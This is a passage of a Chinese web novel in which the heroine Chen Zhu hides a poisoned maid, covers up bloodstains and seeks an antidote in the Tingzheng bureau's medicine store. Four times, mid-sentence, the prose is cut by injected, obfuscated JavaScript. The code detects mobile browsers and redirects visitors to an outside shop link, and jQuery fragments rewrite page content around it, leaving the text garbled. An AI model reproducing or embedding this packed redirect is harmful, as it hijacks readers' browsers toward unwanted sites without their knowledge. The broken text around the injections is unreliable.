沉竹在另一边隔着屏风瞧着并不真切，只听到杨谣的声音同另一道男声平静地混在一处，向为首的王上王后见礼。 杨御史丞的声音紧随其后出现：“新人和美，老夫心中也甚是喜乐啊。” 话音落下，宴上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628667|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣子皆呼应起来，言语间道尽殿上这对新人的般配。 红袍在殿内极为显眼，杨谣脸上重新涂抹的脂粉都无法遮掩她面上的悲戚。 王上在和乐的气氛中发话，自今日起封二皇子为昭王，升杨谣为昭王妃。 方才沉重的气氛被正式揭过，席间又恢复了平和，像是什么事都不曾发生过。 新人为瓷杯斟满酒，唤在场的所有人一并举杯，共庆今日之喜事。 透过屏风，沉竹看到又有人来为霍间重递话，她不知晓今夜沁菊是否已拿到了她想要的东西。但霍间重的面色似乎并未改变。 方才同沉竹见过面的杨谣身后跟着端着木案的侍女，手中拿着酒杯，来到了女眷席位所在之上，同各位一一举杯见礼。 除去薛祁，她行至其余各女眷的面前，她都无需低头，只需听着恭喜的话，再笑着饮去杯中的酒。 就这么从薛祁处，走到了沉竹的身侧，晏钦薇的面前。 晏钦薇同常人一般，端起酒杯，向杨谣说着百年好合的话语，等着杨谣说出那句“多谢”或是“同喜”。 殿内明亮，离得近了些，沉竹看清了杨谣脖颈处尚未完全消去的伤疤，今日的杨谣同那日赏菊宴上一样，面对晏钦薇说不出一句话来，与之不同的是今日她手中还握着酒杯。 沉竹见她对着晏钦薇的笑无言地将杯中酒饮尽，走到了自己的面前。 “臣妇恭祝王妃新婚之喜，愿王爷王妃芝兰世馨，子孙绵延，鱼水好合。”说罢，沉竹看着杨谣没有生气的眼神，将杯中酒饮去。 “同喜。”杨谣接过身边侍女递来的酒，仰头饮尽。 沉竹看着杨谣从自己面前走开，她笃定杨谣不会如此善罢甘休。 宴席终有尽时，霍间重称廷正监有事，回府的马车之上只坐着沉竹与霍任芙二人。 霍任芙早已累在一旁，手支着马车上的小案几，闭着眼养神。沉竹则睁着眼，靠在马车的一侧。 “嫂嫂可知今日发生了何事？来报的宫人面色如常，脚步却慌张，总是件要紧事，引得王妃都离席而去。” “我从王妃并未碰个正好，只见着王妃身影忙碌蹲在一位躺倒的人身侧。” “那人是谁？嫂嫂可看清了？”谈及此事，霍任芙忽地清醒了起来，掀开了沉重的眼皮看向沉竹。 “并未看清。周遭围着的人多，我那时瞧着并不真切。“ “我猜测那倒在地上的人不是昭王便是昭王妃，嫂嫂觉着我猜的可对？“ “芙儿今日累了，回府便休息吧，这些事情等明日醒来便可有个分晓。“ “嫂嫂说得对。那周遭围着的人多，明日消息想必便会传遍整个燕京城，哪里用得着我在这里猜测多语。“ 霍任芙说着说着，声音愈发低微，过了一阵，沉竹去看，她早已重新合上了眼，去会周公。 今夜云雾朦胧，看不到一点月色，早些时候尚在欢庆的城中，现下已无一点声音，寂静极了，只余马车的轮轴声在城中回响。 沉竹借着手中灯笼才得以看清脚下的路，走下了马车，回到了霍府。 她打开主屋的房门，却见血迹淋淋，间断的血痕从房门处拖行至浴房。 27. 忍耐 方才宴席之上，霍间重收到手下的最后一次通报，通报中说，要找的人在景王府周边现身，但因其身手伶俐，只用淬过毒的箭将其射伤，并未捉拿在狱。 现下他快马赶到廷正监，便是来询问这事宜。 “王府中可察看了？” “那人逃离后已遣人进王府察看过了，王府之中未有东西丢失，只是府中存放着的军书及王府同边城的来信有被翻动过的痕迹。” “射伤那人何处？” “左臂。” “近日加强药监一处的守卫，有何情况都要快速来报。” “是。” 见来报的人退下，在一旁柱子上靠着的郑子寒凑到了霍间重身边。 “这边我来盯着就好，你先归府吧。” 霍间重不答，只用布擦拭着手中的剑。 “今日倒是出奇了，你竟不心急归家见你家夫人。今日宫宴之上可是发生了什么事？” “没什么事，只是今日那对新人出来见客的时候晚了些，宴席便多耽搁了些时间，让人熬得等着有些无趣了。” “何处的宴席不都是一等一的无趣？见那些人端着仪态、装着笑我便不适极了。” “对了，你们在何处跟丢了那人？”霍间重神思回转，冷着声音问向身边的站得懒散的郑子寒。 “安乐巷附近。说来，此处离你府邸倒是不远。” 看到屋中血迹的沉竹，第一时间拿起桌上的茶水泼洒到地面之上，又从柜中拿出不穿的旧衣，将地上的血迹擦拭干净。 害怕身上沾染到血迹，她还先将身上的华服脱下，放在了一旁。 她神经紧绷着，时刻担心霍间重推门而入。 所幸，待她将地上不多的血迹擦拭干净，霍间重仍未归来。 她换上了寝衣，走入浴房，果不其然，沁菊捂着左臂上的伤口，趴在浴房的地面之上。 “伤的可重？”沉竹边说，边将沁菊扶起靠在一旁，将带进来的纱布和药酒放在地上，开始试着将她左臂上被掰去箭柄的箭矢拔出。 “箭上淬了毒，要不然…要不然我也不会如此狼狈。”沁菊头上冒着虚汗，唇色青紫，脸色青白，气若游丝，断断续续地将话说出。 “你忍着些。”说罢，沉竹将箭矢从沁菊的皮肉中扯出。 鲜血又流了出来，沉竹凝神，利落地处理着她的伤口，为她的左臂缠上纱布。 “我知晓霍间重从宫中离去定不会先归家，我便躲在了此处。”沁菊看着自己被包扎好的伤口，扯着嘴角笑着。 “箭上之毒该如何解，你可想好了？”沉竹边说着，边扶沁菊起身，行至主屋，从柜中找来自己最朴素的衣裳给沁菊换上。 “这毒的解药定存放在廷正监中。” “罢了，你先出去，霍间重大抵快要回来了，过了今夜，我再想法子。你约莫着自己还能撑多久？” “最多五日。”沁菊自己一人有些踉跄地走至主屋发门口，“若我死了，你也别想拿到这次的解药。” 说完，沁菊便离开了主屋。 沉竹将屋内留下的痕迹收拾干净后的不久，霍间重便回到了主屋。 彼时，沉竹已换上了寝衣，摘取了头上的钗环，将沁菊和自己的血衣放到了隐蔽之处，打开了窗子，点上了焚香，拿了本游记靠在床头静静地看着。 “今日房中怎点上了焚香？” “芙儿近来醉心于制香之术，前些时日将制好的香送来，今日我便焚了此香。夫君觉得好闻否？我以为是极不错的。”沉竹笑着将手中刚翻开的游记放在一边，起身走到了屋内香炉的旁边。 “我对此事不精通，不好做出评断。你既觉着不错，那想必是不差的。”霍间重说着牵起沉竹的手，摩挲着她指尖留下的伤痕。 “此疤怎么还未消去？你可有按时涂抹我给你的药膏？” ‘夫君此话倒是提醒我了，自打夫君上次去东边平乱之后，药膏我便忘涂了。”沉竹说着便要将手从霍间重的手中抽出。 “那药膏在何处？” 沉竹成功将手抽出，指向床边的一个柜子，说道：“在那边。” 霍间重起身将那柜中放着的药膏拿来，又重新握住沉竹收回的手，将药膏涂抹在她的指尖。 屋内明亮，看着低头专心为自己涂药的霍间重，沉竹的心却晦暗不明。 甜蜜的同时，她的心还在担忧着自己方才是否还有残留的血迹未擦拭干净，房屋之内是否还残余着血腥味，屋中的那些沾染血迹的衣物之后该如何处置。 “今日宫宴之上，夫人可知晓发生了什么？” 霍间重突然的问题，让沉竹有些愣住了，她将已涂抹好药膏的手收回，语气甜腻地说道：“多谢夫君为我涂药。今日宫宴之上，我离席后归来之时，看到了杨谣晕厥在了地上，便唤来宫人，让其去通禀王妃，王妃到了之后，我便也重新回到了席间。” “那归来之时，夫人可有见到些别的人？” “我见着杨谣倒地，便急忙上前去查看，并不记得自己这一路上可曾见过什么人。” “夫人为何要离席？” “席间不畅，便想起身走动走动。”说完，沉竹娇嗔地看向霍间重，“夫君这是在干嘛？我可不是廷正监中的犯人。” “夫人莫要多虑，时候不早了，我去沐浴，夫人早些安睡。” “可要我服侍夫君？” “不必了。”霍间重摇着头拒绝道。 夜色深沉，今夜的种种都将被揭过。 隔日，沉竹起的晚了些，进屋前来为她梳妆的只有沁兰一人。 沉竹明知故问，“沁菊人呢？” “她今日称病告假了，特让我来告知夫人。今晨我曾查看了她的病情，的确是有些虚弱。” “可要去请郎中来？” “夫人的问题奴问过了，沁菊说无需为她请郎中诊病，她明日便来与夫人见面。”沁兰柔声回答道。 “夫君现在何处？”昨日她睡得早，今晨又起得晚，并不知晓霍间重的去向。 “主君一早便外出了，并未同我们说起去向，奴见主君走时穿着铠甲，大抵是去郊外的营地练兵吧。” “我知晓了。”沉竹点点头回应。 待沁兰将发髻梳好，沉竹让其先行离去，自己从房中找来了一个火盆，将昨日沾染上血迹的衣物放入盆中，取烛台的火种将其焚烧殆尽。 沉竹蹲在火盆后，静静地看着火焰忽高忽低地跳跃，将昨夜留下的痕迹变成尘土，从此在这世间抹去。 正在这时，门外却传来了一阵敲门声，然沉竹尚未将火盆中的火熄灭。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660890|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是何人在敲门？”沉竹一边在房中询问着，一边将明亮的火焰熄灭。 “是我，嫂嫂。” “芙儿稍等，我尚未择好今日要穿的衣物，不如去院中小坐，我待会儿去院中寻你。” 听到霍任芙答好离去，沉竹才放下心来。 她将方才闭着的门窗打开，散去焚烧衣物留下的气味，又将火盆中留下的灰烬倒在屋前的小院中，才前去寻霍任芙。 “不枉费嫂嫂选了如此长的时间，这身桃粉色的衣裙衬得嫂嫂宛如出水芙蓉一般，清雅秀丽极了。” “芙儿是最会讨我喜爱的。今日找我何事？” “我来找嫂嫂是因为我知晓了昨日宴席之上究竟发生了何事。” “何事？”沉竹笑着回应霍任芙。 “昭王与晏家那位落选的王妃有私情！”霍任芙将说话的声音压低，同沉竹说道。 “当真？”沉竹故作惊诧，向霍任芙问道。 “比真金还要真！昨日婚宴之上，昭王妃就是因此晕倒。这二人就在离宴席不远的一处房间内厮混！不少路过的宫人都看到了在一片倒塌的屏风之后，二人衣衫不整地交缠在一起。” “这二人也当真是胆大，在宾客众多的婚宴当日竟然就敢厮混在了一处。不知昭王妃可知道此事？” “怎会不知？这消息既能传遍燕京城定能传遍昭王府和王宫。“霍任芙笃定地说道，“那昭王妃竟就这般忍气吞声，也实属罕见。” 说完，霍任芙还长叹了一口气，表达着惋惜。 “城墙高耸，人心难测，想必杨家小姐未嫁与二皇子之前，也不曾想到今日会面对如此困局。” 沉竹接过侍女端来的茶后又说道：“不过，昭王妃定会将此事忍耐过去吗？” “大抵是吧，在婚宴之前我不曾与王妃碰过面，但这婚事本就由杨御史丞全权操办，同王后将此事说定，她若是想做些什么怕是也要前后顾忌，如此这般便很难掀起些浪来。” “不过我先前曾与昭王妃打过照面，王妃的性格让我总觉得她不会将此事忍耐过去。”沉竹端起茶壶，为霍任芙倒了一盏茶后接着说道，“芙儿过往可是常去廷正监给夫君送饭？” “是，但只是当兄长晚归，无暇归家用饭时我才会将食盒送往廷正监，嫂嫂问此是何意？” “无甚别的意思，只是先前总是劳烦芙儿，想着下次便把这差事交由我，我来跑这一趟。” “如此也好，我便在家中多歇息一阵，多谢嫂嫂。”霍任芙朝沉竹笑着说道。 不待沉竹回应，府中的侍女便前来禀报消息。 “夫人，小姐。”侍女跑的急了些，借着行礼的空隙将气喘匀。 “何事让你如此急匆匆的？” “是奴失礼了，主君遣人来报今日不必等他回家用晚膳，他在廷正监有事要忙。” “夫君可说了是什么事？” “主君派来的人并未将事情说明，只是奴从街巷间听来了一个消息，估摸着主君大抵是因此事而忙。” 见这侍女说话的声音越来越低，霍任芙忙说道：“有何消息，但说无妨。” 经霍任芙的一番鼓舞过后，那侍女怯懦地开口：“奴…奴听闻，今日昭王妃回门后，寻机外出，将在不远处候着的晏家小姐捅了一刀，晏小姐现下还生死未卜呢。” 28. 善后 “昭王妃拿刀刺向了晏家小姐？”霍任芙听后不免惊异地发声。 “应当是这样的没错，出事的地方并不偏僻，就在杨家府邸的附近，一处开阔的院落之中，周遭还不时有人经过。” “既如此，便是真的了，擅自编排皇家之事是要判处流放之罪的。”霍任芙语气僵直，她感到自己说出的话都变得冰冷。 沉竹的手抚上失神的霍任芙的后背，上下轻抚着。 “嫂嫂，你先前不是说，燕京城内的达官贵人们都愿意维持表面的和平吗？” 沉竹尴尬地笑笑，柔声道：“势大者欲凌弱，势微者欲反击，这与燕京城并无关。” 说罢，沉竹唤来霍任芙身边的侍女，叫其扶霍任芙回房休息。 她则叫沁兰陪同去街上买些新鲜的菜肉，毕竟今日她还要前去廷正监，去给霍间重送吃食。 今日街巷之上无不在议论着杨、晏两家发生的大事，沉竹现下从人们口中听得的故事已和早些时候自己在霍府听得的消息是两个模样。 但故事的内核总是不变，离不开三人间的爱恨情仇。 沉竹挑拣着摊子上的新鲜菜叶，同身边的沁兰说道：“待会儿记得提醒我买些新米，沁菊体弱，吃些热粥也有助于身体的康复。” “奴替沁菊谢过夫人了。” “有何可言谢？你们在我身边陪伴日久，我自该对你们多些照拂。” 话音刚落，便见一众家丁领着两三个拎着药箱的郎中急匆匆地朝一个方向走去。 “那边可是出了什么事？” “禀夫人，那方向是晏家的方向。” 沉竹听后了然地点了点头，继续看着摊位上其他新鲜的蔬菜。 看来，晏家小姐伤得很重。 沉竹在府中的膳房做好了要送去廷正监的饭菜，又将推门一个个地放入盘中又装入食盒。在这之后，她又端着一碗加了鸡肉和菜叶的热粥，亲自去探望病中的沁菊。 和沉竹一并去的还有沁兰，她在沉竹身后拎着食盒，打算着看望完沁菊，便同沉竹一道前去廷正监。 看到沉竹领着人进来，沁菊支撑着身子坐起来，装模作样地咳了几声。 “你今日可感觉好些了？”沉竹将放着粥的木案放在窗前的桌上，关切地问道。 “多谢夫人关照，奴今日感觉好些了，可脑袋还有些发热。” “我特意熬了粥，你定要喝。” “奴知道了，夫人待奴最好了。”沁菊笑着说完，看向沉竹身后的沁兰，向面前人问道，“夫人待会儿要去往何处？” “夫人要去廷正监为主君送些吃食。”站在一旁的沁兰替沉竹回答道。 “那夫人快些去吧，奴定当听夫人的话将此粥喝干净！”沁菊一口气将话说完，随后又咳了几声。 “你好生歇息，莫要劳累伤了身子，若是落下病根，此后便是多少珍贵药石也难以补救了。”沉竹说话时望向沁菊的眼神中满是担忧。 “奴知道了。夫人等我，奴明日定会康健地同夫人见面。”沁菊扯出笑容回答着沉竹。 沉竹不再多停留，同沁兰上了马车前去廷正监。 这是沉竹第一次站在廷正监的门前，先前她忧心着自己的性命，没有闲心顾及霍间重的行事，今日走这么一遭，才知这一路上的荒芜，连草木都稀少，更别提会有人烟。 “劳烦通传霍监副一声，门外有人在等他。”沉竹逐步走上灰色的石阶，在庄重威严的石狮之后同站在门前的守卫说道。 守卫见到穿着素衣的女子前来，本想招手将人赶走，却见此人仪态端庄，说话间气度不凡，便唤来手下进门通传。 鲜少在这种场合露脸的弊端在此时凸显，去而复返的侍卫带回了“不允其进入的消息。” “劳烦阁下再通传一声，我家夫人带了饭菜特来看望霍监副的。”沁兰上前，边说边向守卫的手中塞了些碎银。 “不是我不通传，二位也看到了，并非是我拦住二位的去路。”守卫将手中的碎银还了回去，和颜悦色地说道，“天色不早了，二位赶快回府吧。” 被拦在廷正监之外，是沉竹意料之外的情况，她走得急忙，并未带上证明身份的物件，只得退了一步。 “人不进去，劳烦阁下将这食盒送进去给霍监副可好？”沉竹说着从沁兰手中拿过食盒，向守卫的方向轻轻送着。 “这恐怕是不行。“守卫边说，边向沉竹摆了摆手，“凡进入廷正监的食物都要经过查验，夫人张口说是霍大人的亲眷，可身份至今不明，我怎敢收下夫人带来的食盒？” 本想着若能将食盒送进去，霍间重便会出来接她，可现下看来，此法也行不通。 先前曾听顾涟涟说她常去廷正监同陈年见面，怎得轮到自己便如此艰难？ 可她今日定要进入廷正监。 “阁下可否拿此物再遣人去问霍监副一番？”沉竹将头上的银簪摘下，所幸今日头上戴着的是霍间重曾赠予她的生辰礼。 “罢了，我便亲自帮你通传一声。” “多谢。” 黄昏渐渐散去，天色转暗，沉竹在门前等了一阵，终是等到了来人。 可来人不是沉竹想见的那个人。 守卫拿着银簪返回，同沉竹说道：“夫人，霍大人在忙，小的等了许久也没寻见空隙插话。夫人先回吧。” 身边的沁兰也不抱希望，劝着沉竹先回府。 “无妨，我便站在此处候着。沁兰你可累了？”沉竹掏出些碎银，递给沁兰，“你我途径的那个面摊大约还开着，你拿着银钱先去垫垫肚子吧。” “这…奴怎能抛下夫人不管。” “你只管去便是。” “夫人银钱给多了，一碗面哪里用得着这么多碎银？” “余下的你便收着，平日里买些胭脂水粉。” 沁兰在原地踌躇了许久，但终究还是在沉竹的劝说下离去。 守卫看着沉竹一人站在门前终是有些不忍，对沉竹说道：“夫人如此坚持我便帮夫人多跑几趟。” 说罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683071|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，守卫拿着银簪便又离去。 这次，沉竹等候的时间并不太久，前来迎她的也终是变为了霍间重。 守卫跟在霍间重身后，重新回到了岗位之上。 “多谢。”沉竹同守卫道谢，又掏出些碎银给了守卫。 守卫看着沉竹伸来的手不知如何是好，最后得了霍间重的示意将银钱收下。 “可是在门前等了许久？”霍间重接过沉竹手中拎着的食盒，向她问道。 沉竹一言不发，不回答霍间重的问题。 “看来是等了许久。”霍间重浅笑着用另一只手牵起沉竹的手。 沉竹挣脱了一下才任由霍间重牵上了手。 霍间重带着她进了一间偏殿，里面布置地简单，只有一个书案和供人休息的床榻。 霍间重将食盒打开，将已凉的饭菜从其中拿出，一个个地摆在了书案之上。 “夫人今日可用饭了？” “不曾。”说着，沉竹从他的手中抽走了刚被拿出的食箸。 此时，郑子寒从开着的门外路过，看到书案之上摆出的饭菜，打趣道：“霍大人不是同我们用过饭了，怎么还要吃这么多？” “夫君原来用过饭了，难怪让我在门前苦等。” 霍间重对门外那个闪过的人影无计可施，只得补救道：“我尚饥饿，便是等夫人同我一并用饭。今日的菜式，同往日有些不同，可是夫人亲手所做？” 沉竹不做反应，只默默夹起放在自己面前的青菜。 “今日菜式的味道，的确比往日好上不少。” 沉竹依旧不语，只是吃了一片又一片冷掉的青菜叶。 霍间重无意将沉默的气氛延续，他边夹着菜边说道：“现下做些什么事才能让夫人开心？” 沉竹等他这句话等了很久，她想要借此机会前往廷正监内的药局，为沁菊拿到解药。 可不等沉竹将话组织好，霍间重又紧接着说道：“夫人曾说，杨小姐性格张扬，大抵是在哪场宴席之上冒犯了夫人，现下杨谣由廷正监收押，不知夫人可想见上一面？” 沉竹惊讶霍间重会说出这样的话，心中怀疑着自己可在那日宫宴之上露出了马脚，但面上还是从容地说道：“去见了，又能如何？总不好因为这些恩怨对杨小姐用些私刑。” “也不是不行。” 霍间重话音落下，沉竹抬头今日第一次和他对视，但目光之事短暂地交汇了之后，她便错开了眼神。 “夫君莫要同我说笑了。”沉竹边说边拿起汤勺，撇开表面凝结的油脂，盛了一碗冷汤放到了霍间重面前。 “我倒是真的有一愿，不知夫君可否满足。” “夫人只管说便是。” “夫君知晓我对草药有些研究，早就听闻廷正监中有一药局，汇集了不少稀奇的中草药，不知夫君可否带我前去？”沉竹说话间，一直垂着眼，用面上的温婉温顺掩饰心中的狡黠与不安。 “自然，夫人的愿望我定要满足。”霍间重面上带着笑意回应道。 29. 药材 用过饭后，霍间重领着沉竹前去了廷正监中的药局。 此间屋子之外有着重重守卫，霍间重拿着令牌带沉竹穿过了这些守卫，进入了药局。 映入沉竹眼帘的首先是一排排的深色的木架，木架之上是紧紧挨在一处的高矮不同的瓶罐，这些瓶罐之上贴着标签，但霍间重手中的烛火发出的光亮只短暂地在这些标签之上停留，沉竹只来得及看清些字眼。 “夫君可否告知我此处摆着的这些瓶罐是用来干什么的？” “其中有些装着药丸，有些装着药膏，不过是些救命治伤的东西。“ “夫君给我的药膏可是出自此处？” “正是。” 霍间重拿着烛火带着沉竹缓慢向前进着，直至走过最后一个木架，连在一起的药柜出现在了眼前。 “此处便是放药材的地方。” 说罢，霍间重将手中的烛火递到沉竹手中。 沉竹接过烛火，借助火光看向一个个方正的药柜。 “广白、广角、果导、昆布、千金子。”沉竹顺着药柜小声读着药材的名字，在念到“千金子”这味药材时停了下来，笑着问向靠在药柜上的霍间重，“夫君可知，千金子虽可治痰饮宿滞，但若是炮制不当或给中气不足人食用，便会使其溏泄不止，重则会使其肠胃糜烂。” “是吗？”霍间重始终借着微光看着沉竹的面庞，沉溺在她专注的神情之中。 “那夫君可知，此处可有用千金子制成的毒药？” “夫人高估我了，我一介武夫怎会知晓这些。这些事务都有廷正监中的专人负责，这些专人又由陈年统管，不经由我手。” “夫君还是第一次同我说这些。”沉竹说着将视线转回药柜，继续看着那些药材。 “时候不早了，这药材一时半会儿也看不完，夫人不如先回府，明日再来？” 沉竹顺着霍间重的话说道：“好，我明日再来看夫君。” 霍间重将沉竹送至廷正监门前，看沉竹步上了马车。他今日宿在廷正监中，于是回府的马车之上只有沉竹一人。 归府之后，沉竹在正屋之中见了沁菊。 彼时已是深夜，沁菊轻手轻脚地离开寝居到了正屋，并未惊扰到熟睡中的沁兰。 沉竹熄灭了火烛，坐在床边，听到房门轻微地响动，便知晓沁菊来到了房中。 “夫人今日可探得了解奴身体之毒的消息？”沁菊边说着边燃起了火折子，将沉竹床边摆着的铜制烛台点燃。 “此毒不会要你的命，你大可放心。” “多谢夫人宽慰奴，奴也知晓，现下他们线索有限，自然不会伤及奴的性命。”沁菊同沉竹一般坐在床边，边说着，面上边带上了浅笑，“只是，此毒不时便会发作，如同数万只白蚁啃食奴全身皮肉，有些难耐。” “深夜将火烛燃起未免惹人注意。”说罢，沉竹又将床边的烛火熄灭。 “奴只是想让夫人看清奴的脸，不然，连何人在此言语，夫人怕是都分不清。” “我今日并非一无所获。”沉竹在黑暗之中捕捉到了沁菊的眼睛，抬眸对上，“廷正监中秩序井然，治人疗伤的药放在左侧，损人伤身的放在右侧，若我猜得没错，为了行事方便，毒药同解药定会放在一处。” “廷正监中的药比不上王宫之内但也比寻常药铺中的种类要更齐全些，夫人如何在那一种解药之中寻到能解奴身上之毒的药？” “兆国国内奇花异草不多，能淬在廷正监侍卫箭上的毒不会是什么旷世难解的毒药，我先前读过不少医书，不时如白蚁噬身的症状，我在医书之上曾见过，寻得解药于我而言并非难事，只是需花些心思。” “夫人如此说，奴便放心了。”沁菊摸索到沉竹的手，握在手中，说道：“此番是奴不小心，让夫人为奴费心，杨家事发，朝中廷尉出身低微难以将此事查清，便让廷正监协同查办看管，现下，廷正监不止要追查赋凌司，还要支出人手来看管杨谣，以免牵扯出更大的事端，奴本可以趁此机会多做些事的。” 不待沉竹回应，沁菊便又说道：“不过，夫人是如何笃定杨谣会将此事闹大？” “不过多想了些。”沉竹将被沁菊握着的手抽出，“杨谣虽为杨御史丞最为宠爱的幼女，但她上面还有三个能干的兄长，想必会从各个方面证明自己一样可为家中做事，成为昭王妃便是她计划中的一步。” “她既为家中考虑，又如何会做下这样的事？” “因为她向来看不上‘从南边来的粗鄙下人’。那日宫中她躲在昭王和晏钦薇厮混遮挡的屏风之后，怯懦地不敢发出半点声响，却见我不惧昭王，将屏风推倒，她定会做出比我那日过分的事，来证明自己在任何方面都强于南乡来的粗野之人。”沉竹在黑暗中平静地说着，“更何况，杨家不会因这样一件事遭到过多的牵连。” “不过那昭王平日里爱民如子，恭顺良德，做了不少政绩，不成想竟是这样的人。” “燕京城中，纷乱繁杂，谁能知晓一人表面下的真心？” 沉竹语气似是自嘲一般地接着说道：“你我不也是如此？” 次日，霍间重将沉竹引进廷正监后，便称今日要去城郊巡营留沉竹一人在药局之中对着医药籍册钻研。 “那我可要在此等候夫君一同归家？” “我在日落之前会来此处接你，然后你我一并归府用膳。”霍间重手捋开沉竹散在眼前的碎发，继续说道，“今日陈年在廷正监中，若有急事你可找他相帮。” “我知晓了，我会在此处等夫君前来。”沉竹说完笑着看向已然坐上马的霍间重，同他作别。 待霍间重离去之后，沉竹进入了药局之内。 天光明亮，照得屋内也亮堂，只是不复昨日夜间那般惟有沉竹与霍间重二人，屋中还有一两个查验研习的专人。 沉竹向屋中的二人问好，不待表明来意缘由，屋中的人便同她说道：“霍监副同我们交代过了，你自在忙你的事就好。” 沉竹听后微微欠身，言道：“叨扰了。” 说罢，她便拿着手中的书走到昨日的药柜旁，看着柜中药材。 在沉竹的身侧，有着一位身着墨蓝色衣衫的男子，同她一般拉开又关上药柜。只是那人在看后还会提笔在手中的卷册上写上几个字。 “可否问一句阁下在忙些什么？”沉竹向那人问道。 “不过琐碎。要查看这些药材是否腐烂短缺，然后登记在册，报给上面遣人采买。” “原是如此，我对药材也有些了解，不知可有帮得上忙的地方？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703315|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那人做得无趣，面露困顿之意，见沉竹发话，眼睛即刻便亮了起来，但嘴上还是说道：“怎敢劳烦夫人帮我。” “无妨。”沉竹笑着回应道，“在查看药材时也可实现我之兴趣，只是要劳烦阁下为我讨个纸笔来。” “我即刻便为夫人拿来纸笔。”那人应得爽快，行动也极为利索，立刻便把纸笔拿到了沉竹面前。 “夫人只凭兴趣做便是，想做到何处便做到何处，切不可太过劳累。” 沉竹点点头接过纸笔，开始从另一侧查看起药材。 此处囊括药材极多，药柜数量自然也不在少数，沉竹爬上木梯边查看着药材，边向那人问道：“如此多的药材，怎得就派你们几人来查？” “不瞒夫人，本是不必来查的，这药局建造之时用了上等的木材石料，防风防潮，这其中药材药丸除非娇贵得很，放上一年定是不会损坏的，开年之时不过才查过。”说着说着那人还叹了口气，“若非是那贼人作祟，再加上城中杨家出事，人手短缺，今日也不必就派我二人前来查看。”说完，那人还看了眼身后的同僚，摇了摇头。 “贼人？” “是我失言了，夫人就当没听过。”那人惊觉失言，慌乱地向沉竹拱手欠身致意。 见沉竹了然地点点头，那人才又重新放松下来，继续着手中方才未完成的活计。 “不知夫人是否知晓，那犯事的杨家小姐现下正关押在此处。” “知晓。此事可是有甚不妥？” “无甚不妥。只是这几日廷正监中因此繁忙不少。说是关押，实则是禁足。那位金尊玉贵的杨家小姐在监中的一处房间住着，里面有床榻，有烛台，还有一扇窗子，床帏、茶水、吃食、衣衫是每日都要换的，热水是特派人去热的，监中还特意派了一位女子照顾她的起居，她那屋外白日夜里都要围着重重侍卫，生怕出些什么差错，令杨家小姐的身体发肤受了损伤，使朝中昭王党羽捉住把柄，挑出景王的不是来。” “我先前听闻，昭王也算得上贤明，本以为国中二位皇子互相辅佐，共治民间，不想也会陷入争斗的境地。“ “世事难料啊，世事难料。“那人边说边叹息道。 沉竹帮衬着翻了一半药柜，方才不做，将手中纸笔交予那人，那人连忙称谢。 “阁下无须言谢，只是我有一问要劳烦阁下为我解答。“ “是何问题？凡是能告知的，我必定告知夫人。“ “我前些时日翻看医书，得出有一病使人疼痛不已，但并不会使人致命，治此病不知是用金乌还是枯淮草为引。” “这疼痛分为多种，有隐痛、刺痛、胀痛、走窜痛等的区分，用药又多有不同，不知夫人是问的哪一种？” “阁下的话倒是将我问住了，我记得书中说道，此人疼痛绵绵，尚可忍耐。” “那便要用金乌为引，书中说的此人大抵是因阳气不足，精血亏虚，金乌正可补阳。” “那不知枯淮草该何时做引？” “那便是刺痛了，此草可通血瘀，药性温和正好可用作药引，只是此药难寻。” “多谢阁下为我解惑。时候不早了，我便先走了，阁下与同僚也要注意身子，我待会遣人为二人多送些吃食来。” “多谢夫人挂怀。” 30. 金乌 沉竹在离开廷正监之前还去看望了杨谣，她从派来照看杨谣的女侍卫手中接过放着吃食的木案，进入了杨谣所在的房间。 房屋之内布置齐全，烛火通明，杨谣妆容不乱，头上依旧带着金簪，身上穿着的衣裳也依旧崭新。 “你倒是真成为了端茶送菜的侍女，这身份与你倒是合适得紧。”杨谣坐在镜前，背着身子轻蔑地同沉竹讲道。 “王妃在廷正监中倒是过得不错。”沉竹将木案放在桌上，还顺手将食箸齐整地摆在了碗边。 “也就只有你一人还在唤我王妃。” 